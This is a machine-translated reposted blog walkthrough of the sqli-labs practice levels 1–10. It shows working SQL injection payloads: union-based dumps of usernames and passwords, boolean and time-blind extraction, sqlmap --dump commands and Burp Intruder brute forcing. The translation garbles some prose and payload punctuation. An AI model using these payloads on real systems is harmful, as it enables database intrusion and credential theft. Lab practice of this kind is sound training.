sqli-labs(1-10)

少ない-1(最初の4つの関連する注射)

「1」の入力時にエラーが発生し、「元の文を閉じて」「もう1つ追加」していることがわかりました。
ここに画像の説明を挿入入る1 'および' 1 '=' 1 '-+正常にエコーしました。
ここに画像の説明を挿入次に、フィールドの数を決定します。注文する ステートメント。

4エラーで注文します。
ここに画像の説明を挿入3による順序が正常にエコーされます。
説明フィールドの数は3です。

ジョイントインジェクションを使用し、ユニオンセレクト1、2、3を使用してエコー位置を決定します。
ここに画像の説明を挿入位置2と3にエコーがあることがわかります。

位置2、3から現在のデータベース名を表示します。セキュリティ
ステートメント:-1 'ユニオンセレクト1,2、database()-+
ここに画像の説明を挿入判定表名:
文:-1'union select 1,2、group_concat(table_name)from information_schema.tables where table_schema = 'security'-+

ここに画像の説明を挿入フィールド名を検索します:
ステートメント:-1'union select 1,2、group_concat(column_name)from information_schema.columns where table_name = 'users'-+

ここに画像の説明を挿入データの取得:
ステートメント:-1'union select 1、group_concat(username)、group_concat(password)from users- +

ここに画像の説明を挿入

少ない-2

デジタルタイプの第2レベル:
文の使用1および1 = 1- + 結果を取得します。残りの方法は、説明ではなく、最初のレベルと同様です。
ここに画像の説明を挿入

少ない-3

第3レベルを使用する ') 繰り返さないで、閉じてください。
ここに画像の説明を挿入

少ない-4

第4レベルを使用する ") それを閉じるために、私はそれを繰り返さないでしょう。
ここに画像の説明を挿入

少ない-5(5-7ブールブラインド)

使用する 1 'および' 1 '=' 1 '-+SQLステートメントが一重引用符で閉じられているというフィードバックがあります。
ここに画像の説明を挿入ブールブラインドの場合、手順は次のとおりです。

1.データベースの長さを決定します。

2.データベース名を決定します。

3.判定テーブルの数。

4.各テーブルの長さを決定します。

5.各テーブルの名前を決定します。

6.列の数を決定します。

7.列の長さを決定します。

8.列の名前を決定します

9.フィールドの数、フィールド名、およびデータを判別します。

1.データベースの長さを決定します。

使用する 長さ() 関数。

ステートメント:
1 'およびlength(database())= 8- +データベースの長さが8であることを示すエコーがあります
ここに画像の説明を挿入
。2。データベース名
決定します。ascii()substr()関数。
ステートメント:
1 'およびascii(substr(database()、1,1))= 115- +データベースの最初の文字のASCIIコード値は115であり、対応する文字はsであることを説明します。以下同様に、他の7文字を取得し、最後にセキュリティとしてデータベース名を取得します。
ここに画像の説明を挿入3.判定テーブルの数:
使用カウント()関数。
ステートメント:1 'および(select count(table_name)from information_schema.tables where table_schema =' security ')= 4- +テーブルの数が4であるというフィードバックがあります。
ここに画像の説明を挿入4.各テーブルの長さを決定します。
使用する制限関数。
ステートメント:1 'およびlength((select table_name from information_schema.tables where table_schema =' security'limit 0,1))= 6- +最初のテーブルの長さが6であるというフィードバックがあります。
ここに画像の説明を挿入類推により、他の3つのテーブルの長さが得られます。

5.各テーブルの名前を決定します。
ステートメント:1 'およびascii(substr((select table_name from information_schema.tables where table_schema =' security 'limit 3,1)、1))= 117- +、4番目の表の最初の文字のASCIIコード値が117であり、対応する文字がuであることを示しています。
ここに画像の説明を挿入類推すると、テーブル名はユーザーです。

フィールド(列)の判断方法はテーブルと似ているので、繰り返しません。

SQLMAPを使用して、ここでデータを取得します。

すべての機能とツールの使用については、情報を参照してください。これらを繰り返すことはありません。

  1. 現在のデータベース名を表示します。-Dbs
    ここに画像の説明を挿入は、他の特別なメソッドをスキップするかどうかを尋ねます。yを選択します。
    ここに画像の説明を挿入多くの情報を取得しました
    。2。-Dパラメータを使用してデータベースを指定します。--tablesを使用してテーブル名を取得します。
    ここに画像の説明を挿入テーブル名を取得します
    ここに画像の説明を挿入
    。3。-Tを使用してテーブル名を指定します--columnsを使用してフィールド名を取得します:
    ここに画像の説明を挿入
    4。-Cを使用してフィールド名を指定します--dumpを使用してデータを取得します:
    ここに画像の説明を挿入

ブールブラインドインジェクションであることが知られているため、パラメーターを追加してブールブラインドインジェクションの使用を指定できます
。特定のパラメーターは--techniqueBです。

少ない-6

第6レベルを使用する 「」 閉じるには、burpsuiteブルートフォースを使用して対応するデータを取得します。

1.データベース名から直接開始
します。ASCIIコードを使用するか、ブルートフォースクラッキング用の文字を直接選択するかを選択できます。
ここでは、文字を直接ブルートフォースします。

ステートメント: 1 "およびsubstr(database()、1,1)= 'a'-+

侵入者モジュールでクラスター爆弾を使用します。
パラメータの追加:
ここに画像の説明を挿入ペイロードの設定:
最初のパラメータ:
ここに画像の説明を挿入2番目のパラメータ:
ここに画像の説明を挿入ブラストの開始:
ここに画像の説明を挿入
結果を取得します。データベース名はセキュリティです。

ブルートフォースクラッキングテーブル(列)の数、長さ、名前は、主にパラメータの選択とペイロードの設定に関連しているため、繰り返しません。

少ない-7

第7レベルを使用する ')) 繰り返さないで、閉じてください。

少ない-8

私はカラーペンです。5番目のレベル0.0との違いはわかりません。

少ない-9(9-10タイムブラインド)

ブールブラインドベッティングとは異なり、フィードバックによって注入が成功したかどうかを判断することは不可能です。
id = 1:
ここに画像の説明を挿入
id = -1:
ここに画像の説明を挿入
使用睡眠() 機能と もし判定。
もちろん、ブールブラインドはタイムブラインドを使用してデータを取得することもできます。

手順はブールブラインドの場合と同じです。

1.データベースの長さを決定します。
ステートメント:1 'およびif(length(database())= 8、sleep(5)、1)-+
ここに画像の説明を挿入ページの読み込みに遅延があり、データベースの長さが8であることを示しています。

2.データベース名
ステートメントを決定します1 'およびif(ascii(substr(database()、1,1)= 117)、sleep(5)、1)-+
ここに画像の説明を挿入データベースの名前を取得するために、最初の文字のASCIIコードが117であり、対応する文字がsであることを示す遅延があります。

残りの手順は、追加するだけである場合の判断ブールブラインド注入文に基づいて、シーケンスで説明されることはありません。

タイムブラインドとして知られている、SQLMAPを実行して実行します^ _ ^…
ここに画像の説明を挿入現在のデータベースを
ここに画像の説明を挿入
チェックしました現在のユーザーをチェックします:
ここに画像の説明を挿入Didi:
ここに画像の説明を挿入

リストされなくなったテーブル、フィールド、およびデータを検索します。

少ない-10

第10レベルの使用 「」 繰り返さないで、閉じてください。

おすすめ

転載: blog.csdn.net/qq_45742511/article/details/113115919